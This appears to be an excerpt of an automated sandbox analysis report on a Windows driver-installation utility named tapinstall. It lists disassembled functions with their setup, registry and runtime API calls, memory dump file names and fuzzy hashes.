                                                                                                                      Function 00007FF76A71EE2C Relevance: 10.8, APIs: 7, Instructions: 291COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3215553584-0
                                                                                                                      • Opcode ID: 3e9133d60d70ee4b184cf4df9feb1deb47fa9a1110e34a9b0a205f5e93016ed5
                                                                                                                      • Instruction ID: bc1aa31c74198f3f10b749e6e114f67c4c38ed571080f1f2126532a0bbfb44c0
                                                                                                                      • Opcode Fuzzy Hash: 3e9133d60d70ee4b184cf4df9feb1deb47fa9a1110e34a9b0a205f5e93016ed5
                                                                                                                      • Instruction Fuzzy Hash: A6C1D362A0C686C1F762BF1598442BDBBA0FF89B94F994172DA4E03791CF7DEC558320
                                                                                                                      Function 00007FF76A6D6700 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 156registryCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • SetupDiGetDeviceInfoListDetailW.SETUPAPI ref: 00007FF76A6D672F
                                                                                                                      • SetupDiOpenClassRegKeyExW.SETUPAPI ref: 00007FF76A6D676F
                                                                                                                      • RegCloseKey.ADVAPI32 ref: 00007FF76A6D690B
                                                                                                                        • Part of subcall function 00007FF76A6D4C30: RegQueryValueExW.ADVAPI32 ref: 00007FF76A6D4C83
                                                                                                                        • Part of subcall function 00007FF76A6D4C30: GetLastError.KERNEL32 ref: 00007FF76A6D4C94
                                                                                                                        • Part of subcall function 00007FF76A6D4C30: RegQueryValueExW.ADVAPI32 ref: 00007FF76A6D4CF6
                                                                                                                        • Part of subcall function 00007FF76A6D4770: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF76A6D10DD), ref: 00007FF76A6D47B7
                                                                                                                        • Part of subcall function 00007FF76A6D4770: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF76A6D10DD), ref: 00007FF76A6D480B
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: QuerySetupValue$ClassCloseDetailDeviceErrorFormatFreeInfoLastListLocalMessageOpen
                                                                                                                      • String ID: %s$LowerFilters$UpperFilters
                                                                                                                      • API String ID: 1933970874-1836264166
                                                                                                                      • Opcode ID: 2c9d6f15fb4d5093753cc64694a3814026eec7a59d5bbe1ac40501dd433a88c3
                                                                                                                      • Instruction ID: c7539d54dc674b95ea8b11b4cd9043c283f67cf2c1cd38ea80a1b4415e2fa61d
                                                                                                                      • Opcode Fuzzy Hash: 2c9d6f15fb4d5093753cc64694a3814026eec7a59d5bbe1ac40501dd433a88c3
                                                                                                                      • Instruction Fuzzy Hash: 83515C24A1C286C5FA157B55E4193BAE243EF84FD0FC841B4D90E0B7D7DEACA86142B1
                                                                                                                      Function 00007FF76A6D1160 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ClassSetup$BuildInfoList$DescriptionErrorFromGuidLastName
                                                                                                                      • String ID: %-20s: %s
                                                                                                                      • API String ID: 3437477559-1251934994
                                                                                                                      • Opcode ID: 8de683dbc796dd8caca86f2723ecdf9223d82be46d02b5834d92cca158fced3c
                                                                                                                      • Instruction ID: ea042c99c06d2a38921746fc4f36d514623ccc548709dbdc994ee2a713db71c7
                                                                                                                      • Opcode Fuzzy Hash: 8de683dbc796dd8caca86f2723ecdf9223d82be46d02b5834d92cca158fced3c
                                                                                                                      • Instruction Fuzzy Hash: CC519E22B18682C6FA60AF11E4543BAB3A1FB88FC0F854075DA8E43B84DF7CE515C720
                                                                                                                      Function 00007FF76A6DDD94 Relevance: 10.6, APIs: 7, Instructions: 134COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Name::doName::operator+Name::operator+=Pchar$NameName::Name::append
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3659116837-0
                                                                                                                      • Opcode ID: 6aaf8ef8ab975a96cade839fcc4cba8efc94d6294a4ba3211e0c36a2a6d5e19c
                                                                                                                      • Instruction ID: 973d22caeaa985fbc3ca23ff6e363e82d91b0d5335584a13d97c4ea34cc5d3b2
                                                                                                                      • Opcode Fuzzy Hash: 6aaf8ef8ab975a96cade839fcc4cba8efc94d6294a4ba3211e0c36a2a6d5e19c
                                                                                                                      • Instruction Fuzzy Hash: 3F613B32E1AA52C9F711FF24E8803ACB7A2AB58B88F948075DA0D47799DF3DD455C720
                                                                                                                      Function 00007FF76A6FF964 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: FileModuleName_set_error_mode
                                                                                                                      • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
                                                                                                                      • API String ID: 3581924421-4022980321
                                                                                                                      • Opcode ID: 0d1e8a8cf0d7e4a4f35967af43162b7572eefee810724939d3ab0ebac19dc9a6
                                                                                                                      • Instruction ID: ef9f27527803939cdae2465f3dbe6e9ea0a016bdfdf9bd3ae17f22a51158022f
                                                                                                                      • Opcode Fuzzy Hash: 0d1e8a8cf0d7e4a4f35967af43162b7572eefee810724939d3ab0ebac19dc9a6
                                                                                                                      • Instruction Fuzzy Hash: 0041B265B08747C1FA24BF22A8101BAE396EF58BD4FC84572DE1D87796DE3CE105C614
                                                                                                                      Function 00007FF76A6D3A00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$ClassDeviceInstallParams$CallDetailDevice_Get_InfoInstallerList
                                                                                                                      • String ID: %-60s: %s
                                                                                                                      • API String ID: 4184553637-3470069224
                                                                                                                      • Opcode ID: c50b428a501a26c9097843eac2ab180f505a000ca60ac8a98767d06fd166e556
                                                                                                                      • Instruction ID: bc7b8f65580cf1b652609f0939c971701c17a8869dc9dabad1d98ae243f80cd5
                                                                                                                      • Opcode Fuzzy Hash: c50b428a501a26c9097843eac2ab180f505a000ca60ac8a98767d06fd166e556
                                                                                                                      • Instruction Fuzzy Hash: 9A3173B2608A82C2F760AF11E9447AAF761FB84FC8F804175CA4D47A98DF3CD455CB20
                                                                                                                      Function 00007FF76A6D27B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67libraryloaderCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Library$AddressFreeLoadProc$AttributesFileFullNamePath
                                                                                                                      • String ID: SetupSetNonInteractiveMode$setupapi.dll
                                                                                                                      • API String ID: 1784877336-1268865691
                                                                                                                      • Opcode ID: 46b5fed04645d8eac7faa08d99b50c110e1da90dcc4f8194fdf02fdc9e3b2f99
                                                                                                                      • Instruction ID: e036c3c5d5e5f2565f3520f97d06e878f8e5b424734bb4d315cb15c4f94f154d
                                                                                                                      • Opcode Fuzzy Hash: 46b5fed04645d8eac7faa08d99b50c110e1da90dcc4f8194fdf02fdc9e3b2f99
                                                                                                                      • Instruction Fuzzy Hash: 2B211B36B0CB51C2EA10AF26B440569E7A1FB8DFD4F8105B4EE8D57B24DE3CE0569714
                                                                                                                      Function 00007FF76A72071C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                      • String ID: CONOUT$
                                                                                                                      • API String ID: 3230265001-3130406586
                                                                                                                      • Opcode ID: b8a696af87e1db244be29ab8bf7f91a733210b6ee2ef81bc7abc92eec04a5109
                                                                                                                      • Instruction ID: e8cfd11620eaa10f1a58aac87f912a59abbfbe97fa24e71df0f98146e48157b8
                                                                                                                      • Opcode Fuzzy Hash: b8a696af87e1db244be29ab8bf7f91a733210b6ee2ef81bc7abc92eec04a5109
                                                                                                                      • Instruction Fuzzy Hash: F5118122A18A41C6F760AF06E854729A3A4FB8CFE5F8002B4DA5D87794DF3CD8448B64
                                                                                                                      Function 00007FF76A720584 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41fileCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                      • String ID: CONOUT$
                                                                                                                      • API String ID: 3230265001-3130406586
                                                                                                                      • Opcode ID: 7293e43c7665d0d01c90415b99719ea9fa37c371d7253cfd48f9f2110afdc670
                                                                                                                      • Instruction ID: 7c6c0b10fae771ea9d3b94e757783448aeb739460449b7940b0a5e5ae198ba80
                                                                                                                      • Opcode Fuzzy Hash: 7293e43c7665d0d01c90415b99719ea9fa37c371d7253cfd48f9f2110afdc670
                                                                                                                      • Instruction Fuzzy Hash: 7E11C133A08A06C2F7209F15F450769B360FB8CBA8F800270DA5D47794CF3CD8458B20
                                                                                                                      Function 00007FF76A6D3B40 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 255COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • SetupDiGetDeviceInfoListDetailW.SETUPAPI ref: 00007FF76A6D3B8A
                                                                                                                      • CM_Get_Device_ID_ExW.SETUPAPI ref: 00007FF76A6D3BB9
                                                                                                                      • CM_Get_DevNode_Status_Ex.SETUPAPI ref: 00007FF76A6D3BE1
                                                                                                                      • SetupDiSetDeviceRegistryPropertyW.SETUPAPI ref: 00007FF76A6D3E64
                                                                                                                        • Part of subcall function 00007FF76A6D4770: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF76A6D10DD), ref: 00007FF76A6D47B7
                                                                                                                        • Part of subcall function 00007FF76A6D4770: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF76A6D10DD), ref: 00007FF76A6D480B
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: DeviceGet_Setup$DetailDevice_FormatFreeInfoListLocalMessageNode_PropertyRegistryStatus_
                                                                                                                      • String ID: %-60s:
                                                                                                                      • API String ID: 1934003045-769737362
                                                                                                                      • Opcode ID: de8e9d4bb21c2a1e4e45b1568ffa61b4194d45a09024fb21d31a3d48b576b7e1
                                                                                                                      • Instruction ID: 97b8b844b49be02b93bc78cf8abc4f22aee886f113b127f18f250ba26c1527bd
                                                                                                                      • Opcode Fuzzy Hash: de8e9d4bb21c2a1e4e45b1568ffa61b4194d45a09024fb21d31a3d48b576b7e1
                                                                                                                      • Instruction Fuzzy Hash: 26B1BB22A18A86C1FA20BF15E44027AE3A6FB84FC8F844176DA5E477D5DF3CE461C720
                                                                                                                      Function 00007FF76A6E0034 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Name::operator+=$Replicator::operator+=
                                                                                                                      • String ID: ...
                                                                                                                      • API String ID: 3157425598-440645147
                                                                                                                      • Opcode ID: 8b1ea6b13d80497599b74a4f17c7f641e17d439436ac87c9fc46a30647371513
                                                                                                                      • Instruction ID: ff7d2fc1c944246ac0cb6581d2b2257a7c36e9ae9b8df94f4df12b8d1d0b6eb4
                                                                                                                      • Opcode Fuzzy Hash: 8b1ea6b13d80497599b74a4f17c7f641e17d439436ac87c9fc46a30647371513
                                                                                                                      • Instruction Fuzzy Hash: 0E51D422E4D646C4FB11EF64D8443B9B7A2BB69F84FD680B5C90D4A6A5DF3EE441C320
                                                                                                                      Function 00007FF76A7016E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                      • String ID: CorExitProcess$mscoree.dll
                                                                                                                      • API String ID: 4061214504-1276376045
                                                                                                                      • Opcode ID: 0ccf8903cf5fd9aeb41b039fa9f1cb800aac3f93f93f03788acfe0ad99044ca6
                                                                                                                      • Instruction ID: 62e60989e938b0c7c1d503b13fc58280a4de1150e01cc9511cec2d138e6beb83
                                                                                                                      • Opcode Fuzzy Hash: 0ccf8903cf5fd9aeb41b039fa9f1cb800aac3f93f93f03788acfe0ad99044ca6
                                                                                                                      • Instruction Fuzzy Hash: E7F05E61B19642C1FF54AF61E880374A7A4EF4C784F8820B6D54F46165CF3CE588C730
                                                                                                                      Function 00007FF76A6E30D0 Relevance: 7.8, APIs: 5, Instructions: 289COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: AdjustPointer
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1740715915-0
                                                                                                                      • Opcode ID: 92d83d9b34f83b521a09ba5b49f4fa4ff0e4aabc531c5689a04bfc7cad77936e
                                                                                                                      • Instruction ID: e5654d826b6089285c7c88d4f3910acf604a5750cdb668a34c34aac5e7bacfee
                                                                                                                      • Opcode Fuzzy Hash: 92d83d9b34f83b521a09ba5b49f4fa4ff0e4aabc531c5689a04bfc7cad77936e
                                                                                                                      • Instruction Fuzzy Hash: 0DB1B321E0D682C1FE65BF119444578E392FF64F84F8984B5CE9D0B7A5DE3EE4428320
                                                                                                                      Function 00007FF76A722044 Relevance: 7.7, APIs: 5, Instructions: 158COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _set_statfp
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1156100317-0
                                                                                                                      • Opcode ID: 2bc9a1a893ca783c65b1834ad9b2aafb0e365d30d060e1b3bfacd12602894cdc
                                                                                                                      • Instruction ID: 83a622fd88b9b76cae3ee17107a96575f004e7498a9dd0d0713e85a704e19fa5
                                                                                                                      • Opcode Fuzzy Hash: 2bc9a1a893ca783c65b1834ad9b2aafb0e365d30d060e1b3bfacd12602894cdc
                                                                                                                      • Instruction Fuzzy Hash: 81511913D2C946C5F762BF38984077AE260FF59350F8486F4EA5E266D4DF3CE4418664
                                                                                                                      Function 00007FF76A6D37D0 Relevance: 7.6, APIs: 5, Instructions: 82COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$Class$InstallParams$CallDeviceInstaller$DetailDevice_Get_InfoList
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3081971210-0
                                                                                                                      • Opcode ID: 695bbc71baaaec773e58d73fb442ecad0b1640a0d8d46f012f6265395287b3fe
                                                                                                                      • Instruction ID: 7193faa0555b2617e206ece663d2b4152df8ffefb6e6d17be010a76bcb023eeb
                                                                                                                      • Opcode Fuzzy Hash: 695bbc71baaaec773e58d73fb442ecad0b1640a0d8d46f012f6265395287b3fe
                                                                                                                      • Instruction Fuzzy Hash: 83316EB5A08245C6F720AF12E5043B9E7A1FB49FC8F804079DA8D57B94CF3CD4159B20
                                                                                                                      Function 00007FF76A7217D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _set_statfp
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1156100317-0
                                                                                                                      • Opcode ID: e7b1107881e48292ca022c74fe2ec48e51bdb5760dfe1fdbb7d7208ffa06045a
                                                                                                                      • Instruction ID: 805353e02968483f51633a3111e72746545fcb711eab95e65540976faca3cfe1
                                                                                                                      • Opcode Fuzzy Hash: e7b1107881e48292ca022c74fe2ec48e51bdb5760dfe1fdbb7d7208ffa06045a
                                                                                                                      • Instruction Fuzzy Hash: 27116D72F1CA1281F6543B64D496375D180FF6D374FD906B4EA6E062E79E2EE8418270
